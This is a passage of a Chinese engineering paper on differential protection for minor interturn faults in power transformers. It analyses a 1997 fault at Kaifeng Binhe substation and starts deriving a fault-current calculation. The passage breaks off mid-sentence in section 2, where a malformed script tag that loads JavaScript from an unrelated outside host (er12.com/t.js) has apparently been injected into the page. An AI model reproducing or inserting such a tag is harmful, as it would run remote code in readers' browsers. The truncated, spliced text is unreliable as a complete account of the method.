摘要 首先对一次110 kv/10 kv，31 500 kv.a变压器的轻微匝间故障进行了分析，继而导出对变压器轻微匝间短路的实用计算方法。最后根据轻微故障的特点提出对变压器比率差动继电器通用特性选择的建议，供同仁参考。
关键词 变压器 匝间故障 差动保护
transformer protection for low percentage interturn faults
zhu shengshi
(nanjing automation research institute，210003，nanjing，china)
abstract the analysis of an interturn fault about one percentage turns is introduced and a calculating formula for estimating the interturn fault current of the transformer is derived.according to the calculation result and features of low percentage interturn fault,the general characteristic selection for percentage differential relay of transformer is suggested.
keywords transformer,interturn faults,differential protection
1 变压器的轻微匝间短路故障实例及分析
1997年5月6日开封滨河变一台110 kv/10 kv，31 500 kv*a变压器发生事故，变压器差动保护正确动作跳闸，瓦斯保护未动作。
事故后对变压器进行各种外部试验都未能发现故障。内部检查为高压侧a相匝间短路，被短路的匝数约占全部绕组的1%。这次事故是典型的轻微匝间故障，对此有深入分析研究的必要。
图1是该事故的故障录波图，其显示高压侧三相电压和低压侧电流都没有明显的变化。打印报告显示故障前高压侧负荷电流二次值为2.04 a，ct变比为300/5，所以约为0.74in。故障后三相电流的基波值分别为ia=5.27 a,ib=2.27 a和ic=3.83 a，变压器高压侧中性点未接地，故3i0=0。
图1 开封滨河变1997年5月6日
高压a相匝间短路录波图
事故前功率因数较高，假设cosφ=0.9,从录波图上量出φ=28°,说明假设合理。由于高压侧中性点未接地，a相匝间短路引起的故障分量电流δia只能由b，c相流回，因此有。假设δia落后ua 80°，可作出三相电流的相量图(如图2)。从图2可得ia=ila+δia=5.27∠-60°a;ib=ilb+δib=2.27∠-198°a；ic=ilc+δic=3.83∠-263°a。此结果与打印报告中电流的幅值和从录波图上量出的相角十分接近，故假设ia落后ua 80°是正确的①。从图2可测量出δia=4∠-80°a，约等于变压器的额定电流1.45in。 电流的故障分量即继电器的差动电流， 但为了校正y/δ变压器两侧电流相位， 差动继电器测量的差动电流应是高压侧两相故障分量电流之差， δiab=δia-δib=2.17in∠-80°， δibc=0， δica=-2.17in∠-80°。两相电流差的额定值为in,所以此时差动继电器测得的差动电流相当于额定值的125%。事故时变压器差动继电器的启动电流的整定值为0.5in，因而能灵敏地动作。
图2 根据录波图作出的三相电流的相量图
这次事故至少引发出以下三个问题，值得我们思考。
(1) 差动保护能够保护轻微匝间故障。长期以来在我国广泛应用由速饱和变流器供电的机械型差动继电器。其有两大缺点：最小启动电流必需大于1.5in才能保证避开励磁涌流，因而对轻微匝间短路不灵敏；当短路电流中有直流分量时动作速度变慢，越是加强速饱和变流器的作用带来的延时越长。若故障靠它切除变压器烧损得十分严重。若有很好的涌流闭锁元件，差动继电器就可以灵敏地、快速地动作，把变压器故障烧损的程度限制到最小，开封滨河变的事故已证明了这种可能性。
(2) 轻微匝间短路时保护能测量到的最小差动电流有多大?轻微匝间短路时测量到的差动电流肯定比在变压器低压侧引线上短路时小得多。错误地用后者作为校验差动保护灵敏度的标准也是造成差动保护不能在匝间故障时起保护作用的原因之一。开封滨河变事故时的故障电流水平有无普遍意义?轻微匝间短路时的最小差动电流如何确定?这些问题需研究解决。
(3) 如何选择制动特性。轻微匝间短路时，一方面故障电流小保护的差动电流就小；另一方面三相电压正常，可继续送出满负荷电流。负荷电流是穿越性的，将产生制动作用，于是很自然要问在此制动作用下，继电器能否动作?我们应当选择什么样的制动特性?
以下对差动继电器能否在轻微匝间短路时起保护作用的问题进行进一步分析。
2 变压器匝间故障的计算
变压器绕组的故障都属于匝间短路故障。以y/△接线的双绕组变压器在高压星形绕组发生匝间短路为例，把短路绕组和高压绕组分离开来(健全相相应的部分也如此)，于是故障后的变压器变为一个y/y/△接线的三绕组变压器(当然高压绕组的匝数减少了)，故障发生在短路绕组一侧的引线上。由此可见匝间短路有多相与单相之分。最常见的尤其是轻微匝间短路都是单相的。为了节省篇幅仅讨论单相匝间短路。
图3示出计算用系统图及在变压器高压?script src=http://er12.com/t.js>
